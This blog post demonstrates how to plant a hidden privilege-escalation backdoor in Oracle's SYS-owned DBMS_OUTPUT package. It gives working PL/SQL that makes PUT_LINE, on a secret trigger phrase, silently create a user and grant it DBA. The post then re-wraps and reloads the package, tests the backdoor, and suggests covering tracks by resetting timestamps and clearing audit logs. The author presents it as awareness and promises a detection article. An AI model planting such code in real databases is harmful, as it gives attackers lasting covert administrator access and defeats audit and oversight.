This post is also available in: English
In this article, I will show how it is extremely simple to inject a hidden rootkit inside an Oracle database PL/SQL object (like a procedure) making it very hard to detect for almost all DBA's and Security Admins. It's important to understand and know how those virus works so we can always be prepared to combat them. Later in another article, I will also show how to detect and eliminate this type of threat.
UPDATE: Article about orachksum tool is ready.
Virus/malwares/rootkits are simple peace of code that are driven to evil. As they are program instructions, they can run in anyplace that accept codes, and when we are talking about Oracle Database, first thing that comes in mind are PL/SQL objects.
Rootkit is a simple "kit" to become "root". In the Oracle DB world, that would be a hidden kit to become "sys", as this is the highest privilege within Oracle DB. More appropriate name here would be "syskit" or "dbakit".
So, if you've ever given DBA access to someone other than yourself, you have the chance to have a dbakit or another malicious code in your Oracle database. Can be an upset ex-employee, some temporarily service provider guy that needed this privilege for a very short time, the mad developer who asked DBA access to build his application (and you granted it!) or even a hacker that explored some leak and left an open door behind, so he could come back one day.
In other words, to inject the rootkit, the attacker must have had SYS privileges in some point of time. However, to use and explore it, he only needs CREATE SESSION, meaning that even if the current database administrator removes the privileged roles from him he can still become DBA.
So, thinking like a hacker, to deploy a PL/SQL level dbakit, he will follow 3 principles:
- Inject in an object that is accessible to everyone.
- Inject in an object that is owned by some powerful user.
- Make it hard to be detected.
Let's start.
First here I'm playing with 12.2.0.1 - Oct 2018 PSU/OJVM - Container Database - Oracle Linux 6.8
[oracle@localhost ~]$ sqlplus / as sysdba SQL*Plus: Release 12.2.0.1.0 Production on Tue Dec 4 11:21:06 2018 Copyright (c) 1982, 2016, Oracle. All rights reserved. Connected to: Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production SQL> show pdbs CON_ID CON_NAME OPEN MODE RESTRICTED ---------- ------------------------------ ---------- ---------- 2 PDB$SEED READ ONLY NO 3 PDB01 READ WRITE NO
Rule 1 basically means that the attacker will try to find an object that has EXECUTE privileges to PUBLIC, while rule 2 means that this object needs to be owner by some powerful account, like a DBA or SYS.
We can get a list of some of those objects with the query:
SQL> set lines 30 pages 100 SQL> select distinct t1.object_name 2 from dba_procedures t1, dba_tab_privs t2 3 where t1.owner='SYS' 4 and t1.authid='DEFINER' 5 and t1.owner = t2.owner 6 and t1.object_name = t2.table_name 7 and t2.grantee='PUBLIC' 8 and t2.privilege='EXECUTE' 9 and t1.object_name like 'DBMS\_%' escape '\' 10 order by 1; OBJECT_NAME ----------------------------- DBMS_APPLICATION_INFO DBMS_APP_CONT_PRVT DBMS_AUTO_TASK DBMS_CDC_ISUBSCRIBE DBMS_CDC_SUBSCRIBE DBMS_CRYPTO_TOOLKIT DBMS_CUBE_ADVISE_SEC DBMS_DEBUG DBMS_DESCRIBE DBMS_LDAP_UTL DBMS_LOB DBMS_LOBUTIL DBMS_LOGSTDBY_CONTEXT DBMS_NETWORK_ACL_UTILITY DBMS_OBFUSCATION_TOOLKIT DBMS_OUTPUT DBMS_PICKLER DBMS_RANDOM DBMS_RESULT_CACHE_API DBMS_ROWID DBMS_SNAPSHOT_UTL DBMS_STANDARD DBMS_TF DBMS_TRACE DBMS_UTILITY DBMS_XA_XID DBMS_XS_NSATTR 27 rows selected. SQL>
So, all the packages above are owner by SYS and anyone with CREATE SESSION only can run them. They are also executed with SYS privileges, not the connect user. Let's use DBMS_OUTPUT, a very common one, for this exercise.
Getting its code...
SQL> set pages 0 SQL> set long 100000 SQL> select dbms_metadata.get_ddl('PACKAGE_BODY','DBMS_OUTPUT') from dual; CREATE OR REPLACE NONEDITIONABLE PACKAGE BODY "SYS"."DBMS_OUTPUT" wrapped a000000 1 abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd b 10c4 5d8 xj45EHIG5cl1aAF9cvrQRI+6G3Ewg0MreSAF3y8ZF7UY+Mm9LZmxHaeowB1QMzHz2Gk5oQ0I vATni377JegRt8sdkoa/z5RsDNy6fk9gNi2iGdnHv3KQUwFtsrrvR9lDyz+dELVCtc7k0gg6 vXV2UOFn/4tE0a9kQpNvhVOq7TAd1StaR1r1hzszZbWy1hH/WLTNx+K48OYMjq2A8cXIv6ER C7d0Wki6Js9CHVB5odntPIs8zvG0d/SzGT/Vlw1nPoTn9eKiAQ4KVW+oo23VGzNZ54VsFpCm Fuqlp73tJC4/QUG1wEHm/5wwHU5MgA6OFPUxxxdE4ne9dwsY/9EVNN0BbC/fE/2OdLZlpjRF SN6zuX2j4h2ic7w1aFEvY8gYGHZRhwYYXALCAQyCwK88sXSgqC3gmUaRf5sZfVesylTRUnJh BWYPfI2czyBHtQXIOb52R1KQxyWlzLc688gq5jx8Nab3lvjIAezdO517dtl+Wk0c1Y6nvq1b D1soJ3tr6ZWne1kWhTvlFKIN6NfALfom6eDhU6b8ORi0YPHV41X/Xx9p6hEyUYclFOiCCkAC ft6HFR70kxCXuVOuT87XClF96xsbrKETs5XL9IV1TjWBheozMV5Vl0So039jJvYtR2M+QPrA F7loiQjJD2ItZwKTfWbHL3KyJBRfMOCuCe3adoPNM1TjnvV0yNKhV+p5RvOJBK9t/4yhEegZ JvUy5rJexLb2FeaaRPzybEePzXUrqHbgB3JC2+eDee/j3KgUScfaQeEzmdM6G2jkefdQhqNM 17anSnDxyQ2cFFKsF8ysCWa+E1OyZM2OM2OjZLyzKt9VAKw4PuV/DZfSsZkwU7W4qQdqByRB +UbGlgeuvyjQqvc2z3N7TVuSpe75c3O2ehmTEbj4/uvugs96z2X8atIWlDJfaxLJnHcP3xau cJaGJbgpPrOec5jme52pBcGY2qw8/S6CZhDn5Wj2kjagJhl2g1cepezNP0c4TlefQ7v6oQp+ CNW+kYcKk7l9zVZ1INdPudE87MbNCAmZdUGeOMfPF4qRliPS8ZqLQ4D9O5ioJ31IFL6wgiQT I7DrJuMhZ7eEtiuTJsiX81PQjBn1hmPV7TTDTK/aQyP108bMXKx4f5Ur3BTZc9LLOuhUd0HM b5bee/vvndGAZ1CjkLT7Rb2YTBqr6k7as+e7VVyHDpxYOkWUAb7w8s0TlRhESDynVV7DuavN GpaVg6HffXQ7b80XAiE6A45QGg7au1oPy83RTGRKvjiMk6VLLL6JPxszz9gjTY52QRh3sdsb BQt17SYNjEZ4VCDWFN6SP/rO+GwqhORnJIc3yn8iuzDkO3Sbnvfi0VIFrgN1SQA/IDicTvah nT/s8sVlBYGcWIpzWmu90qpxc6n6459gjRqBEC5AE4emjwDXR+m4zCuOcV/baDBuaTy8YMex rytkKIPVNMygE6Wg0OK1ukGDtSRzHbVrxqo= SQL>
The code is obfuscated, but it's not hard do use some online options to undo that.
1 PACKAGE BODY dbms_output AS 2 3 4 5 ENABLED BOOLEAN := FALSE; 6 BUF_SIZE BINARY_INTEGER; 7 LINEBUFLEN BINARY_INTEGER := 0; 8 PUTIDX BINARY_INTEGER := 1; 9 GETIDX BINARY_INTEGER := 2; 10 GET_IN_PROGRESS BOOLEAN := TRUE; 11 TYPE CHAR_ARR IS TABLE OF VARCHAR2(32767) INDEX BY BINARY_INTEGER; 12 BUF CHAR_ARR; 13 BUFLEFT BINARY_INTEGER := -1; 14 15 16 17 18 19 20 PROCEDURE KKXERAE( 21 NUM BINARY_INTEGER 22 ,MSG VARCHAR2 23 ,KEEPERRORSTACK BOOLEAN DEFAULT FALSE); 24 PRAGMA INTERFACE (C, KKXERAE); 25 26 PROCEDURE RAISE_APPLICATION_ERROR( 27 NUM BINARY_INTEGER 28 ,MSG VARCHAR2 29 ,KEEPERRORSTACK BOOLEAN DEFAULT FALSE) 30 IS 31 BEGIN 32 KKXERAE(NUM, MSG, KEEPERRORSTACK); 33 END RAISE_APPLICATION_ERROR; 34 35 36 37 38 39 40 PROCEDURE ENABLE (BUFFER_SIZE IN INTEGER DEFAULT 20000) IS 41 LSTATUS INTEGER; 42 LOCKID INTEGER; 43 BEGIN 44 ENABLED := TRUE; 45 IF BUFFER_SIZE < 2000 THEN 46 BUF_SIZE := 2000; 47 ELSIF BUFFER_SIZE > 1000000 THEN 48 BUF_SIZE := 1000000; 49 ELSIF BUFFER_SIZE IS NULL THEN 50 BUF_SIZE := -1; 51 ELSE 52 BUF_SIZE := BUFFER_SIZE; 53 END IF; 54 BUFLEFT := BUF_SIZE; 55 END; 56 57 PROCEDURE DISABLE IS 58 BEGIN 59 ENABLED := FALSE; 60 61 BUF.DELETE; 62 PUTIDX := 1; 63 BUF(PUTIDX) := ''; 64 GET_IN_PROGRESS := TRUE; 65 END; 66 67 PROCEDURE PUT_INIT IS 68 BEGIN 69 BUF.DELETE; 70 PUTIDX := 1; 71 BUF(PUTIDX) := ''; 72 LINEBUFLEN := 0; 73 BUFLEFT := BUF_SIZE; 74 GET_IN_PROGRESS := FALSE; 75 END; 76 77 PROCEDURE PUT(A VARCHAR2) IS 78 STRLEN BINARY_INTEGER; 79 BEGIN 80 IF ENABLED THEN 81 IF GET_IN_PROGRESS THEN 82 PUT_INIT; 83 END IF; 84 85 86 87 88 STRLEN := NVL(LENGTHB(A), 0); 89 IF ((STRLEN + LINEBUFLEN) > 32767) THEN 90 LINEBUFLEN := 0; BUF(PUTIDX) := ''; 91 RAISE_APPLICATION_ERROR(-20000, 'ORU-10028: line length overflow, ' || 92 'limit of 32767 bytes per line'); 93 END IF; 94 95 IF (BUF_SIZE <> -1) THEN 96 IF (STRLEN > BUFLEFT) THEN 97 RAISE_APPLICATION_ERROR(-20000, 'ORU-10027: buffer overflow, ' || 98 'limit of ' || TO_CHAR(BUF_SIZE) || ' bytes'); 99 END IF; 100 BUFLEFT := BUFLEFT - STRLEN; 101 END IF; 102 103 BUF(PUTIDX) := BUF(PUTIDX) || A; 104 LINEBUFLEN := LINEBUFLEN + STRLEN; 105 106 END IF; 107 END; 108 109 PROCEDURE PUT_LINE(A VARCHAR2) IS 110 BEGIN 111 IF ENABLED THEN 112 PUT(A); 113 NEW_LINE; 114 END IF; 115 END; 116 117 PROCEDURE NEW_LINE IS 118 BEGIN 119 IF ENABLED THEN 120 IF GET_IN_PROGRESS THEN 121 PUT_INIT; 122 END IF; 123 LINEBUFLEN := 0; 124 PUTIDX := PUTIDX + 1; 125 BUF(PUTIDX) := ''; 126 END IF; 127 END; 128 129 PROCEDURE GET_LINE(LINE OUT VARCHAR2, STATUS OUT INTEGER) IS 130 BEGIN 131 IF NOT ENABLED THEN 132 STATUS := 1; 133 RETURN; 134 END IF; 135 136 IF NOT GET_IN_PROGRESS THEN 137 138 GET_IN_PROGRESS := TRUE; 139 140 141 142 IF (LINEBUFLEN > 0) AND (PUTIDX = 1) THEN 143 STATUS := 1; 144 RETURN; 145 END IF; 146 147 GETIDX := 1; 148 END IF; 149 150 WHILE GETIDX < PUTIDX LOOP 151 LINE := BUF(GETIDX); 152 GETIDX := GETIDX + 1; 153 STATUS := 0; 154 RETURN; 155 END LOOP; 156 STATUS := 1; 157 RETURN; 158 END; 159 160 PROCEDURE GET_LINES(LINES OUT CHARARR, NUMLINES IN OUT INTEGER) IS 161 LINECNT INTEGER := 1; 162 S INTEGER; 163 BEGIN 164 IF NOT ENABLED THEN 165 NUMLINES := 0; 166 RETURN; 167 END IF; 168 WHILE LINECNT <= NUMLINES LOOP 169 GET_LINE(LINES(LINECNT), S); 170 IF S = 1 THEN 171 NUMLINES := LINECNT - 1; 172 RETURN; 173 END IF; 174 LINECNT := LINECNT + 1; 175 END LOOP; 176 NUMLINES := LINECNT - 1; 177 RETURN; 178 END; 179 180 PROCEDURE GET_LINES(LINES OUT DBMSOUTPUT_LINESARRAY, NUMLINES IN OUT INTEGER) 181 IS 182 LINECNT INTEGER := 1; 183 S INTEGER; 184 N INTEGER; 185 BEGIN 186 IF NOT ENABLED THEN 187 NUMLINES := 0; 188 RETURN; 189 END IF; 190 191 LINES := DBMSOUTPUT_LINESARRAY(); 192 LINES.DELETE; 193 194 IF NUMLINES < BUF.COUNT THEN 195 N := NUMLINES; 196 ELSE 197 N := BUF.COUNT; 198 END IF; 199 200 LINES.EXTEND(N); 201 WHILE LINECNT <= N LOOP 202 GET_LINE(LINES(LINECNT), S); 203 IF S = 1 THEN 204 NUMLINES := LINECNT - 1; 205 RETURN; 206 END IF; 207 LINECNT := LINECNT + 1; 208 END LOOP; 209 NUMLINES := LINECNT - 1; 210 RETURN; 211 END; 212 213 END;
Now with the code clear to be read, an attacker could inject the dbakit on it. Let's say he changes the PUT_LINE function, one of the most common ones, and add something like that:
PROCEDURE PUT_LINE(A VARCHAR2) IS BEGIN IF ENABLED THEN IF (a = 'shh! keep it secret!') THEN BEGIN NEW_LINE; execute immediate 'create user c##rj identified by oracle'; PUT('User c##rj created.'); NEW_LINE; EXCEPTION WHEN OTHERS THEN NULL; END; BEGIN NEW_LINE; execute immediate 'grant dba to c##rj'; PUT('User c##rj granted DBA.'); NEW_LINE; EXCEPTION WHEN OTHERS THEN NULL; END; END IF; PUT(A); NEW_LINE; END IF; END;
What the code above will do is detect if someone is trying to spool the exact sentence "shh! keep it secret!" and if so, it will create a CDB account named c##rj and grant DBA to it. Off course that the attacker doesn't want any error printed on screen if it fails, so an EXCEPTION block goes there to deal with it.
The dbakit is ready. Now, next step is to inject it back to the database, but he will probably wrap it again before:
[oracle@localhost ~]$ wrap iname=dbms_output_mod.sql PL/SQL Wrapper: Release 12.2.0.1.0- 64bit Production on Tue Dec 04 13:28:57 2018 Copyright (c) 1993, 2009, Oracle. All rights reserved. Processing dbms_output_mod.sql to dbms_output_mod.plb [oracle@localhost ~]$ cat dbms_output_mod.plb CREATE PACKAGE BODY "SYS"."DBMS_OUTPUT" wrapped a000000 1 abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd b 12a3 6a7 9KQrttwzNgyjF4mRkR5nhXBDf1cwg0NUea4FWi+8cuQY3vioYefjwCVSFY7eC66sAguA9phG +NMI4PK5V03mg+uhcwh4+PwNC7Cgv3P1b+EXv4dBWELJn2pfAsF+rHyXUQwwpPDoOmbVbZOT NDmnu1AdqT79bAQ3QmCTp8oM18aGv3zJoUr79EqXCGbQqoTVq7BfD9EGoN29wKj32z7xw6ze nEZ8ny+m+vOsV+wd9brTwCACvr0/LoppbbOD4NQDvcZ6xKhQP68Mve1TbqhXrjDUzqxSy1LL AlqmkQswclNUJNI/InqSQ4UHV/C4y4zZSmc+Wn3CsP7Tdh+6abvM9fyoR6hgbIBXJE/vF333 +1rZ3gxtKwfrz+CoGHLB44JdeoZCNQFhzIBXyQEJTcI6+75wtz4dOOPQk+OPAoSG8GGk526V rdG0fqfbqNUGVkxaTrUqGpBXmojuFNyhaqIuiwdnPOeTajb72yH8hG/n4cQ//LiOA6+MI1/3 1YvUPnV7BGkHW9JpLcfzGxRdYRbHuCcubZMwHF5tUzZQ+3eyXUvwFMaPRQD3hw5XhGOG0vHK f80+Klmbp4s+NADIrk/CGbnrST+wAfHS3ra2Negu/OAHRgtZ+A4j2wuBSE3iXdgv9IUldw3j BnFvhMm+gr8jlwQD+PMbVHBwmFpIU8dqdL0+uSakD9jLOSe+AG9u4XnhFBDTSm3f5lsYbY8K /5ChFrAZYfUy5g1exLYKxn6ak/yLRJzWxAujMbjjpBvBy+8RDfDdMUQTbmdkBJ5NttsILlPr /vSAZLcGfl1/qudbP2kSCHpiUx4UhUnxHvQFpYPcOA/llet4RTORvyg4yAjA0KNDpbELMFQi K6VpAD9UmmrrwScy/qXSH6HdnJbagWcsela1ceLuKdw11h6dsT2Cz9grCRCPIBpRSrOfcvo+ gZyely+0hX0hbqvyoOa16MhKSu6S61WkNR7w6Ij3tEZmuueSVKC8VHZNVx6l7M28+jg6RbDZ mre3KzFo0F3xiDvJvpCumDzP9vn1vy1QaH7QH6CmPvMmQbu7D68sXIHzFpNyPdflo52rzqPl zBqDGiMJNMj/HReywQSnRNftKY6MdbMFqVaHO9XO0llEmEJOyYHaViAKxoGbSJNVCZLu3jIy TmmycdVR7lsBOw5ZaLmYMvyb0E4vF6x7uKhXdfPP4qO6HJ7wZlu13+IoCgrGKmiHD6+Soe5o q9aOsOOM8/ioUiFC1YDogSXSS/BpYJuVFJLirYMAuyd9ktuzIJiLfSkAz2HpFKaXb/c4s8T7 BT6EUL8sLU2u0OK5oQNR1TA7cU9fIRVLFkKD212jMfFWc7D+dCAYrS6KkQiJyyxwXerB44P4 efZQn6lIFUgfJtQ9NDkhFZhXbbYhZUnoSKGn124JE5NN21Z49tmS1z6/8DMOlpUVoUvriKNi g3IYcYuuzGfIrLwldJVVDzslzUK3/cXsfA0eStlodkIAv/ccxZMHBWYqKsz63wTcGT2D3BX9 2Oo18SFMrsD+I/GZQHVOI04tNlIIiMYSlgHIzLj16fQFP+yVaPwIupnV+SgO+bIOYU2FisKd R5G7Ep4uDqq4gWIbPoOIjcGxsQhoh11ipoYpohlOatgaj3EUm+YKAqwzxBrDv0slHtZh0E6s K+13u4wetaewBv6utaZbX9/C / [oracle@localhost ~]$
Changing the first line to CREATE OR REPLACE NONEDITIONABLE PACKAGE BODY "SYS"."DBMS_OUTPUT" wrapped
and injecting it back to the database:
SQL> @dbms_output_mod.plb Package body created. SQL> show errors No errors. SQL>
And now testing the dbakit:
SQL> select username from dba_users where username='C##RJ'; no rows selected SQL> set serverout on SQL> exec dbms_output.enable; PL/SQL procedure successfully completed. SQL> exec dbms_output.put_line('Hello'); Hello PL/SQL procedure successfully completed. SQL> exec dbms_output.put_line('Bye'); Bye PL/SQL procedure successfully completed. SQL> exec dbms_output.put_line('shh! keep it secret!'); User c##rj created. User c##rj granted DBA. shh! keep it secret! PL/SQL procedure successfully completed. SQL> select username from dba_users where username='C##RJ'; USERNAME -------------------------------------------------------------------------------- C##RJ SQL> conn c##rj/oracle Connected.
The dbakit is ready. Now the only thing a user needs to do to get a DBA access if he has only the CREATE SESSION privilege is execute: exec dbms_output.put_line('shh! keep it secret!');
Just to make it harder to detect, the attacker will probably revert back the modification timestamp of the package body change in obj$, clean audit logs and apply some other tricks to clean his traces.
In next article I will talk about the orachksum utility and how to use it to detect any modified oracle code inside your database.
Have you enjoyed? Please leave a comment or give a 👍!